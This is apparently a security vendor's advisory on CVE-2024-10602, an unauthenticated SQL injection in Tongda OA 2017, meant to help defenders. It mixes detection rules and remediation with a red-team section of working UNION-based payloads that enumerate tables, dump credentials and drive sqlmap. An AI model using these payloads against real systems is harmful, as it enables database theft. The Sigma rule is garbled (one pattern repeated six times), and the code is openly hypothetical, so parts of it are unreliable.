CVE-2024-10602

Executive Summary

CVE-2024-10602 is a critical SQL injection vulnerability discovered in Tongda OA 2017, affecting versions up to 11.9. The flaw resides in the /general/approve_center/list/input_form/data_picker_link.php file, where the dataSrc parameter is not properly sanitized, allowing an attacker to inject arbitrary SQL commands. This vulnerability can be exploited remotely without authentication, potentially leading to unauthorized data access, data manipulation, or complete compromise of the underlying database. As of this report, no official patch has been released, and a public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the nature of the vulnerability (unauthenticated remote SQL injection), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are within the same security authority.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a high-priority threat for any organization using Tongda OA 2017.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the dataSrc parameter of the data_picker_link.php script. The application likely constructs a SQL query by directly concatenating user input from the dataSrc parameter without proper sanitization or parameterized queries.

Vulnerable Code Flow (Hypothetical):

1. The script receives a GET or POST request to /general/approve_center/list/input_form/data_picker_link.php.
2. It extracts the dataSrc parameter value.
3. This value is directly embedded into a SQL query, e.g.:

   SELECT * FROM some_table WHERE source = '$dataSrc'
   

4. An attacker can inject a single quote (') to break out of the string context and append malicious SQL.

Example Injection:

dataSrc=1' UNION SELECT username,password FROM users --

This would return the usernames and passwords from the users table instead of the intended data.

The vulnerability is classified as critical because it allows an attacker to:

• Extract sensitive data (user credentials, personal information, business data).
• Modify or delete data.
• Potentially gain administrative access to the OA system.
• In some database configurations, execute operating system commands (e.g., via xp_cmdshell in SQL Server or INTO OUTFILE in MySQL).

Vulnerable vs. Patched Code

Since no official patch is available, a comparison cannot be made with a patched version. However, the vulnerable code pattern is clear.

Vulnerable Code (Hypothetical PHP):

<?php
$dataSrc = $_GET['dataSrc'];
$query = "SELECT * FROM data_table WHERE source = '$dataSrc'";
$result = mysqli_query($conn, $query);
// ... process result
?>

Patched Code (Hypothetical):

<?php
$dataSrc = $_GET['dataSrc'];
$stmt = $conn->prepare("SELECT * FROM data_table WHERE source = ?");
$stmt->bind_param("s", $dataSrc);
$stmt->execute();
$result = $stmt->get_result();
// ... process result
?>

The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Tongda OA 2017 (version 11.9 or earlier) in a controlled environment (e.g., Docker or a virtual machine).
2. Ensure the web server (Apache/Nginx) and database (MySQL) are accessible from the attacking machine.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target-ip/general/approve_center/list/input_form/data_picker_link.php
   

2. Test for SQL injection:

   http://target-ip/general/approve_center/list/input_form/data_picker_link.php?dataSrc=1'
   

   If an error is returned (e.g., You have an error in your SQL syntax), the endpoint is vulnerable.

3. Extract database information (using UNION-based injection):

   • Determine the number of columns:

     dataSrc=1' ORDER BY 1-- -
     dataSrc=1' ORDER BY 2-- -
     dataSrc=1' ORDER BY 3-- -
     

     Continue until an error occurs. The last successful number is the column count.

   • Extract database version and user:

     dataSrc=1' UNION SELECT 1,@@version,user()-- -
     

   • Enumerate tables:

     dataSrc=1' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -
     

   • Extract user credentials (assuming a users table with username and password columns):

     dataSrc=1' UNION SELECT 1,username,password FROM users-- -
     

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target-ip/general/approve_center/list/input_form/data_picker_link.php?dataSrc=1" --batch --dbs
   

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Server Logs: Look for requests to /general/approve_center/list/input_form/data_picker_link.php with unusual dataSrc parameters containing SQL keywords (e.g., UNION, SELECT, --, ').

2. Database Activity Monitoring: Alert on anomalous SQL queries originating from the web application user, especially those using UNION, INFORMATION_SCHEMA, or xp_cmdshell.

3. Immediate Mitigation (if patching is not possible):

   • Implement a Web Application Firewall (WAF) rule to block requests containing SQL injection patterns in the dataSrc parameter.
   • Disable the vulnerable script by renaming or removing it (if business impact is acceptable).
   • Apply input validation and sanitization at the application level (e.g., using a reverse proxy to filter requests).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /general/approve_center/list/input_form/data_picker_link.php with dataSrc parameter containing SQL injection patterns.
  • Outbound database connections from the web server to unusual IP addresses (data exfiltration).
• File System IOCs:
  • Unexpected files in the web root (e.g., webshells like cmd.php, shell.aspx).
  • Modified or new files in /general/approve_center/ directory.
• Database IOCs:
  • New database users with elevated privileges.
  • Unusual queries in database logs (e.g., UNION SELECT, INTO OUTFILE).
  • Modified or deleted records in critical tables.

Detection Engineering

YARA Rule

rule CVE_2024_10602_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10602 in Tongda OA"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10602"
    strings:
        $s1 = "dataSrc=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "information_schema" nocase
        $s6 = "1'" nocase
        $s7 = "1'--" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2024-10602 SQL Injection Attempt
id: 8c5a3f2e-1b7d-4a9c-8e6f-3d2b1a0c9e8f
status: experimental
description: Detects SQL injection attempts against Tongda OA data_picker_link.php
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'dataSrc=1'
            - 'dataSrc=1'
            - 'dataSrc=1'
            - 'dataSrc=1'
            - 'dataSrc=1'
            - 'dataSrc=1'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in dataSrc parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10602 SQL Injection Attempt"; flow:to_server,established; content:"/general/approve_center/list/input_form/data_picker_link.php"; http_uri; content:"dataSrc="; http_uri; pcre:"/dataSrc=.*(UNION|SELECT|FROM|information_schema|1'|1'--)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:

   • If possible, upgrade to a patched version of Tongda OA (check vendor for updates).
   • If patching is not available, implement a WAF rule to block SQL injection patterns in the dataSrc parameter.
   • Restrict network access to the OA system to trusted IPs only.

2. Short-term Mitigation:

   • Disable the vulnerable script by renaming or removing it (if business impact is acceptable).
   • Apply input validation and sanitization at the application level (e.g., using a reverse proxy to filter requests).

3. Long-term Remediation:

   • Conduct a full security audit of the Tongda OA application.
   • Implement secure coding practices, including parameterized queries and prepared statements.
   • Establish a vulnerability management program to ensure timely patching.

4. Detection & Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable detailed logging for web server and database activities.
   • Monitor for any signs of compromise (see IOCs).

Valters IT
Securing Your Digital Frontier